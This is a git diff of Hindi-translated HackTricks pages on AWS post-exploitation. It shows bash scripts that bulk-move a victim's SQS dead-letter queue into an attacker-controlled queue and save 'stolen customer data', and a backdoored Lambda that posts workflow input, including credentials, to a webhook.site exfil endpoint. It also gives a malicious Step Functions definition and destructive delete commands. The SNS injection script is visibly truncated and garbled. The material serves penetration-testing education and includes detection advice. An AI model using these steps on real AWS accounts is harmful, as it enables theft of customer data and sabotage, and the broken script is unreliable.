+DLQs असफल संदेशों के लिए एक "graveyard" की तरह काम करते हैं, इसलिए ये मूल्यवान लक्ष्य होते हैं क्योंकि समय के साथ इनमें उन संवेदनशील डेटा का संचय होता है जिन्हें एप्लिकेशन सही तरीके से हैंडल नहीं कर पाया।
+
+## हमला परिदृश्य
+
+**Real-world example:**
+1. **E-commerce application** SQS के माध्यम से customer orders को प्रोसेस करती है
+2. **Some orders fail** (payment issues, inventory problems, आदि) और उन्हें DLQ में भेज दिया जाता है
+3. **DLQ accumulates** सप्ताहों/महीनों के असफल ऑर्डर जिनमें ग्राहक डेटा होता है: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
+4. **Attacker gains access** AWS credentials के साथ जिनमें SQS permissions हैं
+5. **Attacker discovers** कि DLQ में हजारों असफल ऑर्डर हैं जिनमें संवेदनशील डेटा मौजूद है
+6. **Instead of trying to access individual messages** (धीमा और स्पष्ट), attacker `StartMessageMoveTask` का उपयोग करके सभी संदेशों को bulk में अपनी queue पर ट्रांसफर कर देता है
+7. **Attacker extracts** एक ही ऑपरेशन में सभी ऐतिहासिक संवेदनशील डेटा
+
+## आवश्यकताएँ
+- स्रोत queue को किसी न किसी queue के RedrivePolicy द्वारा DLQ के रूप में कॉन्फ़िगर किया गया होना चाहिए।
+- IAM permissions (compromised victim principal के रूप में चलाते समय):
+- On DLQ (source): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
+- On destination queue: messages deliver करने की permission (उदा., queue policy जो victim principal से `sqs:SendMessage` की अनुमति देती हो)। same-account destination के लिए यह आमतौर पर डिफ़ॉल्ट रूप से allowed होता है।
+- यदि SSE-KMS enabled है: source CMK पर `kms:Decrypt`, और destination CMK पर `kms:GenerateDataKey`, `kms:Encrypt` चाहिए।
+
+## प्रभाव
+**Potential Impact**: DLQs में जमा संवेदनशील payloads (failed events, PII, tokens, application payloads) को native SQS APIs का उपयोग करके उच्च गति पर exfiltrate किया जा सकता है। यदि destination queue policy victim principal से `SendMessage` की अनुमति देती है तो यह cross-account भी काम करता है।
+
+## दुरुपयोग कैसे करें
+
+- victim DLQ ARN पहचानें और सुनिश्चित करें कि यह वास्तव में किसी queue द्वारा DLQ के रूप में referenced है (कोई भी queue चलेगा)।
+- एक attacker-controlled destination queue बनाएं या चुनें और उसका ARN प्राप्त करें।
+- victim DLQ से अपनी destination queue तक संदेश move करने के लिए एक message move task शुरू करें।
+- प्रोग्रेस मॉनिटर करें या जरूरत पड़ने पर task को cancel करें।
+
+### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
+
+**Scenario**: An attacker has compromised AWS credentials and discovered that an e-commerce application uses SQS with a DLQ containing failed customer order processing attempts.
+
+1) **Discover and examine the victim DLQ**
+```bash
+# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
+aws sqs list-queues --queue-name-prefix dlq
+
+# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
+VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
+SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# Check how many messages are in the DLQ (potential treasure trove!)
+aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
+--attribute-names ApproximateNumberOfMessages
+# Output might show: "ApproximateNumberOfMessages": "1847"
+```
+2) **हमलावर-नियंत्रित गंतव्य कतार बनाएं**
+```bash
+# Create our exfiltration queue
+ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
+ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+echo "Created exfiltration queue: $ATTACKER_Q_ARN"
+```
+3) **थोक संदेश चोरी निष्पादित करें**
+```bash
+# Start moving ALL messages from victim DLQ to our queue
+# This operation will transfer thousands of failed orders containing customer data
+echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
+TASK_RESPONSE=$(aws sqs start-message-move-task \
+--source-arn "$SRC_ARN" \
+--destination-arn "$ATTACKER_Q_ARN" \
+--max-number-of-messages-per-second 100)
+
+echo "Move task started: $TASK_RESPONSE"
+
+# Monitor the theft progress
+aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
+```
+4) **चोरी किए गए संवेदनशील डेटा को एकत्र करें**
+```bash
+# Receive the exfiltrated customer data
+echo "Receiving stolen customer data..."
+aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--attribute-names All --message-attribute-names All \
+--max-number-of-messages 10 --wait-time-seconds 5
+
+# Example of what an attacker might see:
+# {
+#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
+#   "MessageId": "12345-abcd-6789-efgh"
+# }
+
+# Continue receiving all messages in batches
+while true; do
+MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--max-number-of-messages 10 --wait-time-seconds 2 --output json)
+
+if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
+echo "No more messages - exfiltration complete!"
+break
+fi
+
+echo "Received batch of stolen data..."
+# Process/save the stolen customer data
+echo "$MESSAGES" >> stolen_customer_data.json
+done
+```
+### क्रॉस-एकाउंट नोट्स
+- गंतव्य queue में ऐसा resource policy होना चाहिए जो victim principal को `sqs:SendMessage` की अनुमति दे (और, यदि उपयोग किया गया हो, KMS grants/permissions)।
+
+## यह हमला क्यों प्रभावी है
+
+1. **Legitimate AWS Feature**: बिल्ट-इन AWS फ़ंक्शनैलिटी का उपयोग करता है, जिससे इसे दुर्भावनापूर्ण के रूप में पहचानना कठिन होता है
+2. **Bulk Operation**: धीमे व्यक्तिगत एक्सेस की बजाय हजारों संदेशों को तेज़ी से स्थानांतरित करता है
+3. **Historical Data**: DLQs हफ्तों/महीनों में संवेदनशील डेटा इकट्ठा कर लेते हैं
+4. **Under the Radar**: कई संगठन DLQ एक्सेस की बारीकी से निगरानी नहीं करते
+5. **Cross-Account Capable**: यदि permissions अनुमति देते हैं तो attacker के अपने AWS खाते में exfiltrate कर सकता है
+
+## पता लगाना और रोकथाम
+
+### पता लगाना
+संदिग्ध `StartMessageMoveTask` API कॉल्स के लिए CloudTrail की निगरानी करें:
+```json
+{
+"eventName": "StartMessageMoveTask",
+"sourceIPAddress": "suspicious-ip",
+"userIdentity": {
+"type": "IAMUser",
+"userName": "compromised-user"
+},
+"requestParameters": {
+"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
+"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
+}
+}
+```
+### रोकथाम
+1. **न्यूनतम विशेषाधिकार**: `sqs:StartMessageMoveTask` अनुमतियों को केवल आवश्यक भूमिकाओं तक सीमित करें
+2. **DLQs की निगरानी**: असामान्य DLQ गतिविधि के लिए CloudWatch अलार्म सेट करें
+3. **क्रॉस-एकाउंट नीतियाँ**: SQS queue नीतियों की सावधानीपूर्वक समीक्षा करें जो क्रॉस-एकाउंट एक्सेस की अनुमति देती हैं
+4. **DLQs को एन्क्रिप्ट करें**: सीमित कुंजी नीतियों के साथ SSE-KMS का उपयोग करें
+5. **नियमित क्लीनअप**: संवेदनशील डेटा को DLQs में अनिश्चित काल तक जमा न होने दें
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md
new file mode 100644
index 000000000..265a3a90c
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md
@@ -0,0 +1,54 @@
+# AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## विवरण
+
+SQS queue resource policy का दुरुपयोग करके attacker-controlled SNS topic को victim SQS queue में messages publish करने की अनुमति दें। Same-account में, SQS subscription to an SNS topic स्वतः पुष्टि हो जाती है; cross-account में, आपको queue से SubscriptionConfirmation token पढ़कर ConfirmSubscription कॉल करना होगा। यह unsolicited message injection सक्षम करता है जिसे downstream consumers संभवतः implicitly trust कर लेते हैं।
+
+### आवश्यकताएँ
+- लक्ष्य SQS queue resource policy को बदलने की क्षमता: `sqs:SetQueueAttributes` on the victim queue.
+- attacker control के अंतर्गत एक SNS topic create/publish करने की क्षमता: `sns:CreateTopic`, `sns:Publish`, और `sns:Subscribe` on the attacker account/topic.
+- Cross-account के लिए ही: अस्थायी `sqs:ReceiveMessage` on the victim queue ताकि confirmation token पढ़कर `sns:ConfirmSubscription` कॉल किया जा सके।
+
+### Same-account exploitation
+```bash
+REGION=us-east-1
+# 1) Create victim queue and capture URL/ARN
+Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text)
+Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# 2) Create attacker SNS topic
+TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text)
+
+# 3) Allow that SNS topic to publish to the queue (queue resource policy)
+cat > /tmp/ht-sqs-sns-policy.json < /tmp/ht-attrs.json <sqs} --region $REGION
+aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All
+```
+### क्रॉस-एकाउंट नोट्स
+- ऊपर की queue policy को विदेशी `TOPIC_ARN` (हमलावर खाता) की अनुमति देनी चाहिए।
+- Subscriptions स्वतः-कन्फर्म नहीं होंगी। खुद को पीड़ित queue पर अस्थायी `sqs:ReceiveMessage` दें ताकि आप `SubscriptionConfirmation` संदेश पढ़ सकें और फिर उसके `Token` के साथ `sns confirm-subscription` कॉल करें।
+
+### प्रभाव
+**संभावित प्रभाव**: SNS के माध्यम से भरोसेमंद SQS queue में लगातार अनचाहे संदेश इंजेक्शन, जो अनपेक्षित प्रोसेसिंग, डेटा प्रदूषण, या वर्कफ़्लो के दुरुपयोग को ट्रिगर कर सकता है।
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md
similarity index 74%
rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md
index 89faf3ece..c5057c7b6 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md
@@ -1,18 +1,18 @@
 # AWS - SSO & identitystore Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## SSO & identitystore
 
 अधिक जानकारी के लिए देखें:
 
 {{#ref}}
-../aws-services/aws-iam-enum.md
+../../aws-services/aws-iam-enum.md
 {{#endref}}
 
 ### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment`
 
-इन अनुमतियों का उपयोग अनुमतियों को बाधित करने के लिए किया जा सकता है:
+इन अनुमतियों का उपयोग अनुमतियों में व्यवधान उत्पन्न करने के लिए किया जा सकता है:
 ```bash
 aws sso-admin delete-permission-set --instance-arn  --permission-set-arn 
 
@@ -20,4 +20,4 @@ aws sso-admin put-permissions-boundary-to-permission-set --instance-arn  --target-id  --target-type  --permission-set-arn  --principal-type  --principal-id 
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
deleted file mode 100644
index 32c7b8fc4..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
+++ /dev/null
@@ -1,184 +0,0 @@
-# AWS - Step Functions Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Step Functions
-
-इस AWS सेवा के बारे में अधिक जानकारी के लिए, देखें:
-
-{{#ref}}
-../aws-services/aws-stepfunctions-enum.md
-{{#endref}}
-
-### `states:RevealSecrets`
-
-यह अनुमति **एक निष्पादन के अंदर गुप्त डेटा को प्रकट करने** की अनुमति देती है। इसके लिए, निरीक्षण स्तर को TRACE पर सेट करना और revealSecrets पैरामीटर को true पर सेट करना आवश्यक है।
-
-

-
-### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
-
-इन अनुमतियों के साथ एक हमलावर स्थायी रूप से राज्य मशीनों, उनके संस्करणों और उपनामों को हटा सकता है। इससे महत्वपूर्ण कार्यप्रवाह बाधित हो सकते हैं, डेटा हानि हो सकती है, और प्रभावित राज्य मशीनों को पुनर्प्राप्त करने और बहाल करने में महत्वपूर्ण समय लग सकता है। इसके अलावा, यह एक हमलावर को उपयोग किए गए निशान को छिपाने, फोरेंसिक जांचों को बाधित करने, और आवश्यक स्वचालन प्रक्रियाओं और राज्य कॉन्फ़िगरेशन को हटाकर संचालन को संभावित रूप से कमजोर करने की अनुमति देगा।
-
-> [!NOTE]
->
-> - एक राज्य मशीन को हटाने पर आप इसके सभी संबंधित संस्करणों और उपनामों को भी हटा देते हैं।
-> - एक राज्य मशीन उपनाम को हटाने पर आप इस उपनाम को संदर्भित करने वाले राज्य मशीन संस्करणों को नहीं हटाते हैं।
-> - एक राज्य मशीन संस्करण को हटाना संभव नहीं है जो वर्तमान में एक या अधिक उपनामों द्वारा संदर्भित है।
-```bash
-# Delete state machine
-aws stepfunctions delete-state-machine --state-machine-arn 
-# Delete state machine version
-aws stepfunctions delete-state-machine-version --state-machine-version-arn 
-# Delete state machine alias
-aws stepfunctions delete-state-machine-alias --state-machine-alias-arn 
-```
-- **संभावित प्रभाव**: महत्वपूर्ण कार्यप्रवाहों में बाधा, डेटा हानि, और संचालन में रुकावट।
-
-### `states:UpdateMapRun`
-
-इस अनुमति के साथ एक हमलावर Map Run विफलता कॉन्फ़िगरेशन और समानांतर सेटिंग को हेरफेर कर सकता है, अधिकतम संख्या को बढ़ाने या घटाने में सक्षम हो सकता है जो बाल कार्यप्रवाह निष्पादन की अनुमति है, जो सेवा के प्रदर्शन को सीधे प्रभावित करता है। इसके अलावा, एक हमलावर सहनशील विफलता प्रतिशत और गणना के साथ छेड़छाड़ कर सकता है, इस मान को 0 तक घटाने में सक्षम हो सकता है ताकि हर बार जब एक आइटम विफल होता है, तो पूरा मैप रन विफल हो जाए, जो राज्य मशीन निष्पादन को सीधे प्रभावित करता है और संभावित रूप से महत्वपूर्ण कार्यप्रवाहों में बाधा डालता है।
-```bash
-aws stepfunctions update-map-run --map-run-arn  [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ]
-```
-- **संभावित प्रभाव**: प्रदर्शन में कमी, और महत्वपूर्ण कार्यप्रवाहों में बाधा।
-
-### `states:StopExecution`
-
-इस अनुमति के साथ एक हमलावर किसी भी राज्य मशीन के निष्पादन को रोकने में सक्षम हो सकता है, जो चल रहे कार्यप्रवाहों और प्रक्रियाओं में बाधा डालता है। इससे अधूरे लेनदेन, रुके हुए व्यावसायिक संचालन, और संभावित डेटा भ्रष्टाचार हो सकता है।
-
-> [!WARNING]
-> यह क्रिया **express state machines** द्वारा समर्थित नहीं है।
-```bash
-aws stepfunctions stop-execution --execution-arn  [--error ] [--cause ]
-```
-- **संभावित प्रभाव**: चल रहे कार्यप्रवाहों में बाधा, संचालन में डाउनटाइम, और संभावित डेटा भ्रष्टाचार।
-
-### `states:TagResource`, `states:UntagResource`
-
-एक हमलावर Step Functions संसाधनों से टैग जोड़, संशोधित, या हटा सकता है, जिससे आपकी संगठन की लागत आवंटन, संसाधन ट्रैकिंग, और टैग के आधार पर पहुंच नियंत्रण नीतियों में बाधा उत्पन्न हो सकती है।
-```bash
-aws stepfunctions tag-resource --resource-arn  --tags Key=,Value=
-aws stepfunctions untag-resource --resource-arn  --tag-keys 
-```
-**संभावित प्रभाव**: लागत आवंटन, संसाधन ट्रैकिंग, और टैग-आधारित पहुंच नियंत्रण नीतियों में विघटन।
-
----
-
-### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
-
-एक हमलावर जो निम्नलिखित अनुमतियों के साथ एक उपयोगकर्ता या भूमिका को समझौता करता है:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Sid": "AllowUpdateStateMachine",
-"Effect": "Allow",
-"Action": "states:UpdateStateMachine",
-"Resource": "*"
-},
-{
-"Sid": "AllowUpdateFunctionCode",
-"Effect": "Allow",
-"Action": "lambda:UpdateFunctionCode",
-"Resource": "*"
-}
-]
-}
-```
-...एक **उच्च-प्रभाव और छिपा हुआ पोस्ट-एक्सप्लॉइटेशन हमला** कर सकता है, जिसमें Lambda बैकडोरिंग को Step Function लॉजिक हेरफेर के साथ जोड़ा जाता है।
-
-यह परिदृश्य मानता है कि पीड़ित **संवेदनशील इनपुट, जैसे क्रेडेंशियल्स, टोकन, या PII को प्रोसेस करने के लिए AWS Step Functions का उपयोग करता है।**
-
-उदाहरण पीड़ित इनवोकेशन:
-```bash
-aws stepfunctions start-execution \
---state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \
---input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
-```
-यदि Step Function को `LegitBusinessLogic` जैसे Lambda को सक्रिय करने के लिए कॉन्फ़िगर किया गया है, तो हमलावर **दो छिपे हुए हमले के रूपों** के साथ आगे बढ़ सकता है:
-
----
-
-####  Lambda फ़ंक्शन को अपडेट किया गया
-
-हमलावर Step Function द्वारा पहले से उपयोग किए जा रहे Lambda फ़ंक्शन (`LegitBusinessLogic`) के कोड को चुपचाप इनपुट डेटा को निकालने के लिए संशोधित करता है।
-```python
-# send_to_attacker.py
-import requests
-
-def lambda_handler(event, context):
-requests.post("https://webhook.site//exfil", json=event)
-return {"status": "exfiltrated"}
-```
-
-```bash
-zip function.zip send_to_attacker.py
-
-aws lambda update-function-code \
---function-name LegitBusinessLogic \
---zip-file fileb://function.zip -profile attacker
-```
----
-
-#### Step Function में एक दुर्भावनापूर्ण स्थिति जोड़ें
-
-वैकल्पिक रूप से, हमलावर कार्यप्रवाह की शुरुआत में **exfiltration state** को Step Function परिभाषा को अपडेट करके इंजेक्ट कर सकता है।
-```malicious_state_definition.json
-{
-"Comment": "Backdoored for Exfiltration",
-"StartAt": "OriginalState",
-"States": {
-"OriginalState": {
-"Type": "Task",
-"Resource": "arn:aws:lambda:us-east-1::function:LegitBusinessLogic",
-"End": true
-}
-}
-}
-
-```
-
-```bash
-aws stepfunctions update-state-machine \
---state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \
---definition file://malicious_state_definition.json --profile attacker
-```
-हमलावर स्थिति परिभाषा को इस तरह से अपडेट करने के लिए और भी अधिक छिपा हुआ हो सकता है
-{
-"Comment": "Backdoored for Exfiltration",
-"StartAt": "ExfiltrateSecrets",
-"States": {
-"ExfiltrateSecrets": {
-"Type": "Task",
-"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
-"InputPath": "$",
-"ResultPath": "$.exfil",
-"Next": "OriginalState"
-},
-"OriginalState": {
-"Type": "Task",
-"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
-"End": true
-}
-}
-}
-जहाँ पीड़ित को अंतर का एहसास नहीं होगा
-
----
-
-### पीड़ित सेटअप (शोषण के लिए संदर्भ)
-
-- एक स्टेप फ़ंक्शन (`LegitStateMachine`) संवेदनशील उपयोगकर्ता इनपुट को संसाधित करने के लिए उपयोग किया जाता है।
-- यह एक या एक से अधिक लैम्ब्डा फ़ंक्शंस जैसे `LegitBusinessLogic` को कॉल करता है।
-
----
-
-**संभावित प्रभाव**:
-- संवेदनशील डेटा जैसे रहस्य, क्रेडेंशियल्स, एपीआई कुंजी, और PII का चुपचाप निकासी।
-- कार्यप्रवाह निष्पादन में कोई दृश्य त्रुटियाँ या विफलताएँ नहीं।
-- लैम्ब्डा कोड या निष्पादन ट्रेस का ऑडिट किए बिना पता लगाना कठिन।
-- यदि बैकडोर कोड या ASL लॉजिक में बना रहता है तो दीर्घकालिक स्थिरता सक्षम करता है।
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md
new file mode 100644
index 000000000..8408192dd
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md
@@ -0,0 +1,185 @@
+# AWS - Step Functions पोस्ट-एक्सप्लॉइटेशन
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Step Functions
+
+इस AWS सर्विस के बारे में अधिक जानकारी के लिए देखें:
+
+{{#ref}}
+../../aws-services/aws-stepfunctions-enum.md
+{{#endref}}
+
+### `states:RevealSecrets`
+
+यह permission **execution के अंदर secret डेटा को प्रकट करने** की अनुमति देता है। इसके लिए, Inspection level को TRACE पर सेट करना और revealSecrets पैरामीटर को true पर सेट करना आवश्यक है।
+
+

+
+### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
+
+इन permissions वाले attacker स्थायी रूप से state machines, उनकी versions, और aliases को delete कर पाएगा। इससे महत्वपूर्ण workflows बाधित हो सकते हैं, डेटा हानि हो सकती है, और प्रभावित state machines को recover और restore करने में काफी समय लग सकता है। इसके अतिरिक्त, यह attacker को उपयोग किए गए ट्रैक को छिपाने, forensic जांचों को बाधित करने, और आवश्यक automation प्रक्रियाओं और state configurations को हटाकर संचालन को संभावित रूप से प्रभावित करने की अनुमति देगा।
+
+> [!NOTE]
+>
+> - एक state machine को delete करने पर आप उसके सभी associated versions और aliases भी delete कर देते हैं।
+> - एक state machine alias को delete करने पर आप उस alias को संदर्भित करने वाली state machine versions को delete नहीं करते।
+> - उस state machine version को delete करना संभव नहीं है जिसे वर्तमान में एक या अधिक aliases द्वारा संदर्भित किया जा रहा हो।
+```bash
+# Delete state machine
+aws stepfunctions delete-state-machine --state-machine-arn 
+# Delete state machine version
+aws stepfunctions delete-state-machine-version --state-machine-version-arn 
+# Delete state machine alias
+aws stepfunctions delete-state-machine-alias --state-machine-alias-arn 
+```
+- **Potential Impact**: महत्वपूर्ण वर्कफ़्लोज़ में व्यवधान, डेटा हानि, और परिचालनिक डाउनटाइम।
+
+### `states:UpdateMapRun`
+
+इस अनुमति वाले एक हमलावर के पास Map Run की failure configuration और parallel setting में हेरफेर करने की क्षमता होगी, जिससे वह अनुमत child workflow executions की अधिकतम संख्या बढ़ा या घटा सकेगा, और इससे सेवा के प्रदर्शन पर सीधे प्रभाव पड़ेगा। इसके अलावा, हमलावर tolerated failure percentage और count में छेड़छाड़ कर सकता है, इसे 0 तक घटा सकता है ताकि हर बार कोई आइटम फेल होने पर पूरा Map Run फेल हो जाए, जिससे state machine execution सीधे प्रभावित होगा और संभावित रूप से महत्वपूर्ण वर्कफ़्लोज़ बाधित हो सकते हैं।
+```bash
+aws stepfunctions update-map-run --map-run-arn  [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ]
+```
+- **Potential Impact**: प्रदर्शन में गिरावट और महत्वपूर्ण वर्कफ़्लो का व्यवधान।
+
+### `states:StopExecution`
+
+यह अनुमति रखने वाला attacker किसी भी state machine के execution को रोक सकता है, जिससे चल रहे वर्कफ़्लो और प्रक्रियाओं में व्यवधान होगा। इससे लेनदेन अधूरा रह सकता है, व्यावसायिक संचालन रुक सकते हैं, और डेटा भ्रष्ट होने का जोखिम हो सकता है।
+
+> [!WARNING]
+> यह कार्रवाई **express state machines** द्वारा समर्थित नहीं है।
+```bash
+aws stepfunctions stop-execution --execution-arn  [--error ] [--cause ]
+```
+- **संभावित प्रभाव**: चालू वर्कफ़्लो में व्यवधान, ऑपरेशनल डाउनटाइम, और संभावित डेटा भ्रष्टाचार।
+
+### `states:TagResource`, `states:UntagResource`
+
+एक हमलावर Step Functions संसाधनों से टैग जोड़, संशोधित, या हटाकर आपकी संस्था के लागत आवंटन, संसाधन ट्रैकिंग, और टैग-आधारित एक्सेस कंट्रोल नीतियों को प्रभावित कर सकता है।
+```bash
+aws stepfunctions tag-resource --resource-arn  --tags Key=,Value=
+aws stepfunctions untag-resource --resource-arn  --tag-keys 
+```
+**संभावित प्रभाव**: लागत आवंटन, संसाधन ट्रैकिंग, और टैग-आधारित एक्सेस नियंत्रण नीतियों में व्यवधान।
+
+---
+
+### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
+
+एक हमलावर जो निम्नलिखित अनुमतियाँ रखने वाले उपयोगकर्ता या भूमिका को समझौता कर ले:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowUpdateStateMachine",
+"Effect": "Allow",
+"Action": "states:UpdateStateMachine",
+"Resource": "*"
+},
+{
+"Sid": "AllowUpdateFunctionCode",
+"Effect": "Allow",
+"Action": "lambda:UpdateFunctionCode",
+"Resource": "*"
+}
+]
+}
+```
+...अंजाम दे सकता है एक **उच्च-प्रभावी और गुप्त post-exploitation attack** Lambda backdooring और Step Function logic manipulation को मिलाकर।
+
+यह परिदृश्य मानता है कि पीड़ित **AWS Step Functions का उपयोग उन वर्कफ़्लोज़ को orchestrate करने के लिए करता है जो संवेदनशील इनपुट को प्रोसेस करते हैं**, जैसे कि credentials, tokens, या PII।
+
+उदाहरण पीड़ित invocation:
+```bash
+aws stepfunctions start-execution \
+--state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \
+--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
+```
+यदि Step Function को `LegitBusinessLogic` जैसे Lambda को invoke करने के लिए कॉन्फ़िगर किया गया है, तो हमलावर दो stealthy attack variants के साथ आगे बढ़ सकता है:
+
+---
+
+####  Lambda function को अपडेट किया गया
+
+हमलावर Step Function द्वारा पहले से उपयोग किए जा रहे Lambda फ़ंक्शन (`LegitBusinessLogic`) के कोड को संशोधित करता है ताकि input data को चुपचाप exfiltrate किया जा सके।
+```python
+# send_to_attacker.py
+import requests
+
+def lambda_handler(event, context):
+requests.post("https://webhook.site//exfil", json=event)
+return {"status": "exfiltrated"}
+```
+
+```bash
+zip function.zip send_to_attacker.py
+
+aws lambda update-function-code \
+--function-name LegitBusinessLogic \
+--zip-file fileb://function.zip -profile attacker
+```
+---
+
+#### Step Function में एक Malicious State जोड़ें
+
+वैकल्पिक रूप से, attacker Step Function definition को अपडेट करके workflow की शुरुआत में एक **exfiltration state** इंजेक्ट कर सकता है।
+```malicious_state_definition.json
+{
+"Comment": "Backdoored for Exfiltration",
+"StartAt": "OriginalState",
+"States": {
+"OriginalState": {
+"Type": "Task",
+"Resource": "arn:aws:lambda:us-east-1::function:LegitBusinessLogic",
+"End": true
+}
+}
+}
+
+```
+
+```bash
+aws stepfunctions update-state-machine \
+--state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \
+--definition file://malicious_state_definition.json --profile attacker
+```
+The attacker और भी चुपके से state definition को कुछ इस तरह अपडेट कर सकता है
+{
+"Comment": "Backdoored for Exfiltration",
+"StartAt": "ExfiltrateSecrets",
+"States": {
+"ExfiltrateSecrets": {
+"Type": "Task",
+"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
+"InputPath": "$",
+"ResultPath": "$.exfil",
+"Next": "OriginalState"
+},
+"OriginalState": {
+"Type": "Task",
+"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
+"End": true
+}
+}
+}
+where the victim won't realize the different
+
+---
+
+### Victim Setup (Context for Exploit)
+
+- A Step Function (`LegitStateMachine`) संवेदनशील user input को प्रोसेस करने के लिए उपयोग किया जाता है।
+- यह `LegitBusinessLogic` जैसे एक या अधिक Lambda functions को कॉल करता है।
+
+---
+
+**संभावित प्रभाव**:
+- संवेदनशील डेटा का silent exfiltration, जिसमें secrets, credentials, API keys, और PII शामिल हैं।
+- workflow execution में कोई दिखाई देने वाली त्रुटियाँ या विफलताएँ नहीं होंगी।
+- Lambda code या execution traces का auditing किए बिना पता लगाना मुश्किल।
+- यदि backdoor code या ASL logic में बना रहता है तो long-term persistence सक्षम हो सकती है।
+
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
deleted file mode 100644
index e91831ec8..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
+++ /dev/null
@@ -1,95 +0,0 @@
-# AWS - STS पोस्ट एक्सप्लॉइटेशन
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## STS
-
-अधिक जानकारी के लिए:
-
-{{#ref}}
